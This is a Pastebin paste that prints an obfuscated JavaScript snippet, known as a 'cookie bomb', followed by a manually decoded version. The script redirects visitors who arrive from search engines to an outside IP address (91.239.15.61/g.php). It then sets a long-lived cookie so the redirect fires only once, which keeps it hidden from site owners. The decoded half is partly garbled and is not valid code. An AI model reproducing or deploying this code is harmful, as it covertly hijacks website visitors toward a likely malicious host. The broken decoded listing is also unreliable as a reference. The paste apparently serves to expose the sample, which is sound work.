SHARE
TWEET

Cookie Bomb JavaScript

scurit Jan 29th, 2014 87 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var _0xe2b8=["\x72\x65\x66\x65\x72\x72\x65\x72","\x67\x6F\x6F\x67\x6C\x65","\x79\x61\x68\x6F\x6F","\x62\x69\x6E\x67","\x79\x61\x6E\x64\x65\x78","\x62\x61\x69\x64\x75","\x67\x69\x67\x61\x62\x6C\x61\x73\x74","\x73\x6F\x73\x6F","\x62\x6C\x65\x6B\x6B\x6F","\x65\x78\x61\x6C\x65\x61\x64","\x73\x6F\x67\x6F\x75","\x64\x75\x63\x6B\x64\x75\x63\x6B\x67\x6F","\x76\x6F\x6C\x75\x6E\x69\x61","\x6C\x65\x6E\x67\x74\x68","\x69\x6E\x64\x65\x78\x4F\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x39\x31\x2E\x32\x33\x39\x2E\x31\x35\x2E\x36\x31\x2F\x67\x2E\x70\x68\x70","\x63\x6F\x6F\x6B\x69\x65","\x20","\x3D","\x3B","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x72\x65\x66\x65\x72\x72\x65\x72\x52\x65\x64\x69\x72\x65\x63\x74\x43\x6F\x6F\x6B\x69\x65","\x64\x6F\x20\x6E\x6F\x74\x20\x72\x65\x64\x69\x72\x65\x63\x74"];
  2.  
  3. var from=document[_0xe2b8[0]];
  4. var i;
  5. var se=[_0xe2b8[1],_0xe2b8[2],_0xe2b8[3],_0xe2b8[4],_0xe2b8[5],_0xe2b8[6],
  6.        _0xe2b8[7],_0xe2b8[8],_0xe2b8[9],_0xe2b8[10],_0xe2b8[11],_0xe2b8[12]];
  7.  
  8. for(i=0;i<se[_0xe2b8[13]];++i)
  9.  {
  10.    if(from[_0xe2b8[14]](se[i])+1)
  11.    {
  12.      if(!checkCookie())
  13.      {
  14.        window[_0xe2b8[15]]=_0xe2b8[16];
  15.      };
  16.    };
  17.  };
  18.  
  19.  
  20. function getCookie(_0xecdex5)
  21.  {
  22.    var _0xecdex6=document[_0xe2b8[17]];
  23.    var _0xecdex7=_0xecdex6[_0xe2b8[14]](_0xe2b8[18]+_0xecdex5+_0xe2b8[19]);
  24.    if(_0xecdex7==-1)
  25.    {
  26.      _0xecdex7=_0xecdex6[_0xe2b8[14]](_0xecdex5+_0xe2b8[19]);
  27.    };
  28.    if(_0xecdex7==-1)
  29.    {
  30.      _0xecdex6=null;
  31.    }
  32.    else
  33.    {
  34.      _0xecdex7=_0xecdex6[_0xe2b8[14]](_0xe2b8[19],_0xecdex7)+1;
  35.      var _0xecdex8=_0xecdex6[_0xe2b8[14]](_0xe2b8[20],_0xecdex7);
  36.      if(_0xecdex8==-1)
  37.      {
  38.        _0xecdex8=_0xecdex6[_0xe2b8[13]];
  39.      };
  40.      _0xecdex6=unescape(_0xecdex6[_0xe2b8[21]](_0xecdex7,_0xecdex8));
  41.    };
  42.    return _0xecdex6;
  43.  };
  44.  
  45.  
  46. function setCookie(_0xecdex5,_0xecdexa,_0xecdexb)
  47.  {
  48.    var _0xecdexc= new Date();
  49.    _0xecdexc[_0xe2b8[23]](_0xecdexc[_0xe2b8[22]]()+_0xecdexb);
  50.    var _0xecdex6=escape(_0xecdexa)+((_0xecdexb==null)?_0xe2b8[24]:_0xe2b8[25]+_0xecdexc[_0xe2b8[26]]());
  51.    document[_0xe2b8[17]]=_0xecdex5+_0xe2b8[19]+_0xecdex6;
  52.  };
  53.  
  54.  
  55.  
  56. function checkCookie()
  57.  {
  58.    var _0xecdexe=getCookie(_0xe2b8[27]);
  59.    if(_0xecdexe!=null&&_0xecdexe!=_0xe2b8[24])
  60.    {
  61.      return true;
  62.    }
  63.    else
  64.    {
  65.      setCookie(_0xe2b8[27],_0xe2b8[28],730);
  66.      return false;
  67.    };
  68.  };
  69. #######################################################################################################
  70. DECODED
  71.  
  72. <?  var _0xe2b8=["referrer","google","yahoo","bing","yandex","baidu","gigablast","soso","blekko","exalead","sogou","duckduckgo","volunia","length","indexOf","location","http://91.239.15.61/g.php","cookie"," ","=",";","substring","getDate","setDate","","; expires=","toUTCString","referrerRedirectCookie","do not redirect"];
  73.  
  74. ##################### we replace the original variables with the corresponding values
  75. var from=document["referrer"];
  76. var i;
  77. var se=["google","yahoo","bing","yandex","baidu","gigablast","soso","blekko","exalead","sogou","duckduckgo","volunia"];
  78.  
  79. for(i=0;i<se["length"];++i)
  80.  {
  81.    if(from["indexOf"](se[i])+1)
  82.    {
  83.      if(!checkCookie())
  84.      {
  85.        window["location"]="http://91.239.15.61/g.php";
  86.      };
  87.    };
  88.  };
  89.  
  90.  
  91. function getCookie(_0xecdex5)
  92.  {
  93.    var _0xecdex6=document["cookie"];
  94.    var _0xecdex7= indexOf(" "+ _0xecdex5 +=);
  95.    if(_0xecdex7==-1)
  96.    {
  97.      _0xecdex7= indexOf(_0xecdex5+=);
  98.    };
  99.    if(_0xecdex7==-1)
  100.    {
  101.      _0xecdex6=null;
  102.    }
  103.    else
  104.    {
  105.      _0xecdex7=indexOf(=,_0xecdex7)+1;
  106.      var _0xecdex8=indexOf(;,_0xecdex7);
  107.      if(_0xecdex8==-1)
  108.      {
  109.        _0xecdex8=length;
  110.      };
  111.      _0xecdex6=unescape(substring(_0xecdex7,_0xecdex8));
  112.    };
  113.    return _0xecdex6;
  114.  };
  115.  
  116. function setCookie(_0xecdex5,_0xecdexa,_0xecdexb)
  117.  {
  118.    var _0xecdexc= new Date();
  119.    _0xecdexc["setDate"](_0xecdexc["getDate"]()+_0xecdexb);
  120.    var _0xecdex6=escape(_0xecdexa)+((_0xecdexb==null)?:; expires=]+_0xecdexc["toUTCString"]());
  121.    document["cookie"]=_0xecdex5+=+_0xecdex6;
  122.  };
  123.  
  124.  
  125.  
  126. function checkCookie()
  127.  {
  128.    var _0xecdexe=getCookie(referrerRedirectCookie);
  129.    if(_0xecdexe!=null&&_0xecdexe!="")
  130.    {
  131.      return true;
  132.    }
  133.    else
  134.    {
  135.      setCookie(referrerRedirectCookie,"do not redirect",730);
  136.      return false;
  137.    };
  138.  }; ?>
RAW Paste Data
Want to get better at JavaScript?
Learn to code JavaScript in 2017
Pastebin PRO Summer Special!
Get 40% OFF on Pastebin PRO accounts!
Top